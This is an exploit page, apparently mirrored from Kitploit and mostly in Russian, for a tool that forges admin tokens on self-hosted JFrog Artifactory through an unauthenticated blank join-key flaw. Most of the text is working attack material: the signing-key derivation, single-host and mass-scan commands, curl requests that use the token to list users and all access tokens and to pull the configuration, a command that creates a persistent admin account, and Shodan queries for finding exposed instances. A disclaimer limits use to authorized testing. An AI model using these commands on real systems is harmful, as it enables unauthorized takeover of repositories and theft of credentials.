Sploitus

Exploit for CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

kitploit · 2026-09-03

Exploit Code

MARKDOWN200 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-CVE-2026-82329-JFROG-ARTIFACTORY-AUTH-BYPASS
# artifactory.py

![artifactory.py — CVE-2026-82329 unauth admin takeover](https://assets.kitploit.com/production/public/readmes/54052/0857e39ab97d04e1cf96d65163dcdcbee516179d08c43e2b37b1c3c53d0c14f0/c0fe78cdd35715a13cd15f000d6f1327ddfa888872df54d62052a4bea88f4666-display-v1.webp)

root@kitploit:~
    
    
    ╔══════════════════════════════════════════════════════════╗
    ║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
    ║  mitsec       ·  https://x.com/ynsmroztas                ║
    ╚══════════════════════════════════════════════════════════╝
    

**CVE-2026-82329** — JFrog Artifactory (self-hosted) неаутентифицированный join-JWT  
→ SERVICE `admin` токен → платформенный **`applied-permissions/admin`** access-токен.

CVSS **9.8** · CWE-287 · CISA KEV · эксплуатируется в дикой природе.

> Только авторизованное тестирование. Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.

* * *

## Что делает

Установки self-hosted по умолчанию доверяют **пустому join-ключу**.

root@kitploit:~
    
    
    JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
    kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
    

Cloud-hosted JFrog пропатчен. Только self-hosted.

Строка исправления Access: **7.191.14**.

* * *

## Установка

root@kitploit:~
    
    
    # только stdlib — без pip
    python3 artifactory.py -h
    

Проверка TLS **отключена по умолчанию** (самоподписанный Artifactory — это норма).  
Дополнительных флагов нет.

* * *

## Использование

root@kitploit:~
    
    
    # одиночный хост
    python3 artifactory.py -u https://artifactory.example.internal:8082
    
    # вывести сгенерированный admin-токен
    python3 artifactory.py -u https://TARGET:8082 --token
    
    # список / конвейер (стиль httpx, shodan, subfinder)
    python3 artifactory.py -l hosts.txt --threads 8
    cat hosts.txt | python3 artifactory.py
    
    # только Pro / Enterprise — создать локального администратора (разрушающее)
    python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
    

### Вывод

root@kitploit:~
    
    
    [VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
    [SAFE]  https://patched:8082  join HTTP 401  (patched / no blank key)
    [FAIL]  https://dead:8082     unreachable
    

Тег  
---  
  
`--token` выводит значение Bearer. Это **и есть** захват — пользователь для входа не обязателен.

`--create-admin` часто возвращает **400 на OSS** (`PUT /artifactory/api/security/users` — это Pro).  
Admin-токен всё равно работает. Постоянство не требуется для валидной находки.

* * *

## После попадания — используйте токен

Замените `TARGET` и вставьте токен из `--token`.

root@kitploit:~
    
    
    TOKEN='eyJ...'          # вывод --token
    B='https://TARGET:8082'
    
    # версия / редакция
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/artifactory/api/system/version"
    
    # каталог пользователей (администратор)
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/access/api/v2/users"
    
    # все access-токены на инстансе
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/access/api/v1/tokens" | head -c 400
    
    # инвентаризация репозиториев
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/artifactory/api/repositories"
    

Другие полезные операции чтения только для администратора (не записывайте без авторизации):

root@kitploit:~
    
    
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/artifactory/api/system/configuration" -o config.xml
    
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/artifactory/api/security/users"
    
    curl -sk -H "Authorization: Bearer $TOKEN" \
      "$B/access/api/v1/tokens"
    

UI: Platform → вход с **Access Token** , или отправляйте  
`Authorization: Bearer <token>` с каждым запросом.

### Опциональный постоянный пользователь (Pro / Access v2)

root@kitploit:~
    
    
    curl -sk -D- -X POST "$B/access/api/v2/users" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"username":"auditor","email":"some-email@example.com","password":"ChangeMe_1Aa","admin":true}'
    

Ошибка 400 по политике паролей ≠ не уязвимо. Токен уже имеет `aud=*`.

* * *

## Разведка

root@kitploit:~
    
    
    # Shodan
    http.component:"Artifactory" port:8081,8082
    title:"Artifactory" "JFrog"
    http.html:"/artifactory/webapp"
    ssl.cert.subject.CN:"artifactory"
    
    # распространённые порты
    8081  8082  8040  8046  443
    

Инструмент удаляет `/artifactory` `/ui` `/webapp` из `-u` и обращается к роутеру Access на том же origin.

* * *

## Почему `--create-admin` — это не находка

Описывайте воздействие как: **неаутентифицированный токен администратора платформы**.  
Создание пользователя — это последующее действие, а не корневая проблема.

* * *

## Ссылки

  * NVD — CVE-2026-82329
  * Бюллетени безопасности JFrog
  * Релизы / патчи self-managed
  * Лаборатория + diff патча: dinosn/cve-2026-82329-jfrog-artifactory



* * *

## Отказ от ответственности

Этот репозиторий — **валидатор** для систем, которые вы уполномочены тестировать.  
Создание токенов, перечисление пользователей или создание учётных записей на сторонней инфраструктуре без разрешения незаконно.

Патч: обновитесь до исправленной сборки для вашей ветки, задайте реальный join-ключ, отзовите токены, созданные после раскрытия.

* * *

`mitsec` · @ynsmroztas